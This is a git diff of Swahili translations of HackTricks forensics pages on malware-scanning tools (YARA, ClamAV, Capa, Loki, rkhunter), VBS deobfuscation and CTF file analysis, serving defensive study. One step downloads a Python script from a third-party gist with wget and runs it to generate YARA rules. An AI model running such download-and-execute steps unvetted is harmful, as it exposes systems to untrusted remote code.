wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
|
||||
mkdir rules
|
||||
|
|
@ -48,7 +49,7 @@ python malware_yara_rules.py
|
|||
yara -w malware_rules.yar image #Scan 1 file
|
||||
yara -w malware_rules.yar folder #Scan the whole folder
|
||||
```
|
||||
#### YaraGen: Angalia kwa zisizo na programu hasidi na Unda sheria
|
||||
#### YaraGen: Angalia kwa zisambulishi na Unda sheria
|
||||
|
||||
Unaweza kutumia zana [**YaraGen**](https://github.com/Neo23x0/yarGen) kuzalisha sheria za yara kutoka kwa faili ya binary. Angalia mafunzo haya: [**Sehemu 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Sehemu 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Sehemu 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
|
||||
```bash
|
||||
|
|
@ -61,7 +62,7 @@ python3.exe yarGen.py --excludegood -m ../../mals/
|
|||
```
|
||||
sudo apt-get install -y clamav
|
||||
```
|
||||
#### Kuchunguza
|
||||
#### Skan
|
||||
```bash
|
||||
sudo freshclam #Update rules
|
||||
clamscan filepath #Scan 1 file
|
||||
|
|
@ -69,25 +70,25 @@ clamscan folderpath #Scan the whole folder
|
|||
```
|
||||
### [Capa](https://github.com/mandiant/capa)
|
||||
|
||||
**Capa** inagundua uwezo wa uwezekano wa kwa faili za kutekelezwa: PE, ELF, .NET. Kwa hivyo, itapata vitu kama mbinu za Att\&ck, au uwezo wa shaka kama vile:
|
||||
**Capa** inagundua uwezo wenye uwezekano wa kuwa mbaya katika faili za kutekelezwa: PE, ELF, .NET. Kwa hivyo itapata vitu kama mbinu za Att\&ck, au uwezo wa shaka kama vile:
|
||||
|
||||
- angalia kosa la OutputDebugString
|
||||
- tekeleza kama huduma
|
||||
- unda mchakato
|
||||
* angalia kosa la OutputDebugString
|
||||
* tekeleza kama huduma
|
||||
* umba mchakato
|
||||
|
||||
Pakua kutoka kwenye [**repo ya Github**](https://github.com/mandiant/capa).
|
||||
|
||||
### IOCs
|
||||
|
||||
IOC inamaanisha Ishara ya Kukiuka. IOC ni seti ya **mazingira yanayotambua** programu fulani inayoweza kutokuwa ya kawaida au **malware** iliyothibitishwa. Timu za Bluu hutumia aina hii ya ufafanuzi kutafuta faili za aina hii ya uovu kwenye **mifumo** yao na **mitandao**.\
|
||||
Kushiriki ufafanuzi huu ni muhimu sana kwani wakati malware inagunduliwa kwenye kompyuta na IOC kwa malware hiyo inaundwa, Timu za Bluu zingine zinaweza kutumia hiyo kuitambua malware haraka zaidi.
|
||||
IOC inamaanisha Kiashiria cha Kuingiliwa. IOC ni seti ya **mazingira yanayotambua** programu fulani inayoweza kutokuwa ya kutaka au **malware** iliyothibitishwa. Timu za Bluu hutumia aina hii ya ufafanuzi kutafuta faili za aina hii ya uovu kwenye **mifumo** yao na **mitandao** yao.\
|
||||
Kushiriki ufafanuzi huu ni muhimu sana kwani wakati malware inagunduliwa kwenye kompyuta na IOC kwa malware hiyo inaundwa, Timu za Bluu zingine zinaweza kutumia hiyo kuitambua malware haraka.
|
||||
|
||||
Zana ya kuunda au kuhariri IOCs ni [**Mhariri wa IOC**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||
Unaweza kutumia zana kama [**Redline**](https://www.fireeye.com/services/freeware/redline.html) kutafuta IOCs zilizofafanuliwa kwenye kifaa.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki) ni skana ya Viashiria Rahisi vya Kukiuka.\
|
||||
[**Loki**](https://github.com/Neo23x0/Loki) ni skana ya Viashiria Rahisi vya Kuingiliwa.\
|
||||
Ugunduzi unategemea njia nne za ugunduzi:
|
||||
```
|
||||
1. File Name IOC
|
||||
|
|
@ -104,7 +105,7 @@ Compares process connection endpoints with C2 IOCs (new since version v.10)
|
|||
```
|
||||
### Uchunguzi wa Malware wa Linux
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) ni programu ya kutambua malware kwa mifumo ya Linux iliyotolewa chini ya leseni ya GNU GPLv2, ambayo imeundwa kuzingatia vitisho vinavyokabiliwa katika mazingira ya kuhudumia pamoja. Inatumia data ya vitisho kutoka kwa mifumo ya uchunguzi wa kuingilia kwenye mtandao ili kuchambua malware inayotumiwa kwa shambulio na kuzalisha saini za kutambua. Aidha, data ya vitisho pia hutokana na michango ya watumiaji na rasilimali za jamii ya malware kupitia kipengele cha ukaguzi wa LMD.
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) ni programu ya kuchunguza malware kwa ajili ya Linux iliyotolewa chini ya leseni ya GNU GPLv2, ambayo imeundwa kuzingatia vitisho vinavyokabiliwa katika mazingira ya kuhudumia pamoja. Inatumia data ya vitisho kutoka kwa mifumo ya uchunguzi wa kuvamia pembezoni mwa mtandao ili kuchambua malware inayotumiwa kwa shambulio na kuzalisha saini za kugundua. Aidha, data ya vitisho pia hutokana na michango ya watumiaji kwa kutumia kipengele cha ukaguzi wa LMD na rasilimali za jamii ya malware.
|
||||
|
||||
### rkhunter
|
||||
|
||||
|
|
@ -114,7 +115,7 @@ sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--sk
|
|||
```
|
||||
### FLOSS
|
||||
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) ni chombo ambacho kitajaribu kutafuta strings zilizofichwa ndani ya faili za kutekelezwa kwa kutumia njia tofauti.
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) ni chombo ambacho kitajaribu kupata strings zilizofichwa ndani ya faili za kutekelezwa kwa kutumia njia tofauti.
|
||||
|
||||
### PEpper
|
||||
|
||||
|
|
@ -122,7 +123,7 @@ sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--sk
|
|||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download) ni chombo kinachoruhusu kupata taarifa za faili za kutekelezwa za Windows kama vile uingizaji, utoaji, vichwa, lakini pia itachunguza virus total na kupata mbinu za uwezekano wa shambulio (Att\&ck techniques).
|
||||
[PEstudio](https://www.winitor.com/download) ni chombo kinachoruhusu kupata taarifa za faili za kutekelezwa za Windows kama vile uingizaji, utoaji, vichwa, lakini pia itachunguza virus total na kupata mbinu za shambulizi za uwezekano.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
|
|
@ -134,11 +135,11 @@ sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--sk
|
|||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) inafanya bidii yake kutambua **nambari iliyofichwa**/**nambari ya shaka** pamoja na faili zinazotumia **PHP** kazi mara nyingi hutumiwa katika **malwares**/webshells.
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) inafanya bidii yake bora kugundua **nambari iliyofichwa**/**nambari isiyofaa** pamoja na faili zinazotumia kazi za **PHP** mara nyingi hutumiwa katika **malwares**/webshells.
|
||||
|
||||
### Saini za Binary za Apple
|
||||
### Vielelezo vya Saini za Binary za Apple
|
||||
|
||||
Unapochunguza sampuli fulani za **malware** unapaswa daima **kuchunguza saini** ya binary kwani **mwendelezaji** aliyetia saini inaweza tayari kuwa **husiana** na **malware.**
|
||||
Unapochunguza sampuli fulani za **malware** unapaswa daima **kuangalia saini** ya binary kwani **mwendelezaji** aliyetia saini inaweza tayari kuwa **husiana** na **malware**.
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
|
@ -153,7 +154,7 @@ spctl --assess --verbose /Applications/Safari.app
|
|||
|
||||
### Kufunga Faili
|
||||
|
||||
Ikiwa unajua kwamba folda fulani inayohifadhi **faili** za seva ya wavuti ilisasishwa mwisho **tarehe fulani**. **Angalia** tarehe ambayo **faili zote** kwenye **seva ya wavuti ziliumbwa na kuhaririwa** na ikiwa tarehe yoyote ni **ya shaka**, hakiki faili hiyo.
|
||||
Ikiwa unajua kwamba folda fulani inayohifadhi **faili** za seva ya wavuti ilikuwa **imeboreshwa mwisho tarehe fulani**. **Angalia** tarehe ambayo **faili zote** kwenye **seva ya wavuti ziliumbwa na kuhaririwa** na ikiwa tarehe yoyote ni **ya shaka**, hakiki faili hiyo.
|
||||
|
||||
### Vipimo vya Msingi
|
||||
|
||||
|
|
@ -161,18 +162,19 @@ Ikiwa faili za folda **hazipaswi kuhaririwa**, unaweza kuhesabu **hash** ya **fa
|
|||
|
||||
### Uchambuzi wa Takwimu
|
||||
|
||||
Wakati habari inahifadhiwa kwenye magogo unaweza **kagua takwimu kama mara ngapi kila faili ya seva ya wavuti ilipatikana kwani kabati la wavuti inaweza kuwa mojawapo ya**.
|
||||
Wakati habari inahifadhiwa kwenye magogo unaweza **kuchunguza takwimu kama mara ngapi kila faili ya seva ya wavuti ilipatikana kwani kabati la wavuti linaweza kuwa moja ya**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & jifunze AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & jifunze GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Hapa unaweza kupata mbinu za kuvutia kwa aina maalum za faili na/au programu:
|
||||
|
|
@ -32,21 +33,3 @@ Hapa unaweza kupata mbinu za kuvutia kwa aina maalum za faili na/au programu:
|
|||
{% page-ref page="video-and-audio-file-analysis.md" %}
|
||||
|
||||
{% page-ref page="zips-tricks.md" %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Baadhi ya vitu vinavyoweza kuwa vya manufaa kwa kudebugu/kudeofusika faili ya VBS yenye nia mbaya:
|
||||
Baadhi ya vitu vinavyoweza kuwa vya manufaa kwa kurekebisha/kufuta ufusaji wa faili ya VBS yenye nia mbaya:
|
||||
|
||||
## echo
|
||||
```bash
|
||||
|
|
@ -52,16 +53,17 @@ End With
|
|||
|
||||
End Function
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,19 +1,20 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Faili za PNG** zinathaminiwa sana katika **changamoto za CTF** kwa **kupunguza bila kupoteza data**, hivyo ni bora kwa kujumuisha data iliyofichwa. Zana kama **Wireshark** huwezesha uchambuzi wa faili za PNG kwa kuchambua data zake ndani ya pakiti za mtandao, kufunua taarifa iliyofichwa au hitilafu.
|
||||
**Faili za PNG** zinathaminiwa sana katika **changamoto za CTF** kwa **kupunguza bila kupoteza data**, hivyo ni bora kwa kuficha data iliyofichwa. Zana kama **Wireshark** huwezesha uchambuzi wa faili za PNG kwa kuchambua data zao ndani ya pakiti za mtandao, kufunua habari iliyofichwa au tofauti.
|
||||
|
||||
Kwa kuchunguza uadilifu wa faili za PNG na kurekebisha uharibifu, **pngcheck** ni zana muhimu, ikitoa utendaji wa mstari wa amri kuthibitisha na kutambua faili za PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Wakati faili zimepita kiwango cha marekebisho rahisi, huduma za mtandaoni kama [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) hutoa suluhisho la mtandao kwa **kurekebisha PNG zilizoharibika**, kusaidia katika kupona data muhimu kwa washiriki wa CTF.
|
||||
Kwa kuchunguza uadilifu wa faili za PNG na kurekebisha uharibifu, **pngcheck** ni zana muhimu, ikitoa utendaji wa mstari wa amri kuthibitisha na kutambua faili za PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Wakati faili zinapita zaidi ya marekebisho ya kawaida, huduma za mtandaoni kama [PixRecovery ya OfficeRecovery](https://online.officerecovery.com/pixrecovery/) hutoa suluhisho la wavuti kwa **kurekebisha PNG zilizoharibika**, kusaidia katika kupona kwa data muhimu kwa washiriki wa CTF.
|
||||
|
||||
Mbinu hizi zinaonyesha umuhimu wa njia kamili katika CTFs, kutumia mchanganyiko wa zana za uchambuzi na mbinu za marekebisho kugundua na kupona data iliyofichwa au kupotea.
|
||||
|
|
|
|||
|
|
@ -1,41 +1,42 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Udanganyifu wa faili za sauti na video** ni muhimu katika changamoto za **uchunguzi wa CTF**, kwa kutumia **steganografia** na uchambuzi wa metadata kuficha au kufunua ujumbe wa siri. Zana kama **[mediainfo](https://mediaarea.net/en/MediaInfo)** na **`exiftool`** ni muhimu kwa uchunguzi wa metadata ya faili na kutambua aina za maudhui.
|
||||
**Udanganyifu wa faili za sauti na video** ni muhimu katika changamoto za **uchunguzi wa CTF**, ikichanganya **steganografia** na uchambuzi wa metadata kuficha au kufunua ujumbe wa siri. Zana kama **[mediainfo](https://mediaarea.net/en/MediaInfo)** na **`exiftool`** ni muhimu kwa uchunguzi wa metadata ya faili na kutambua aina za yaliyomo.
|
||||
|
||||
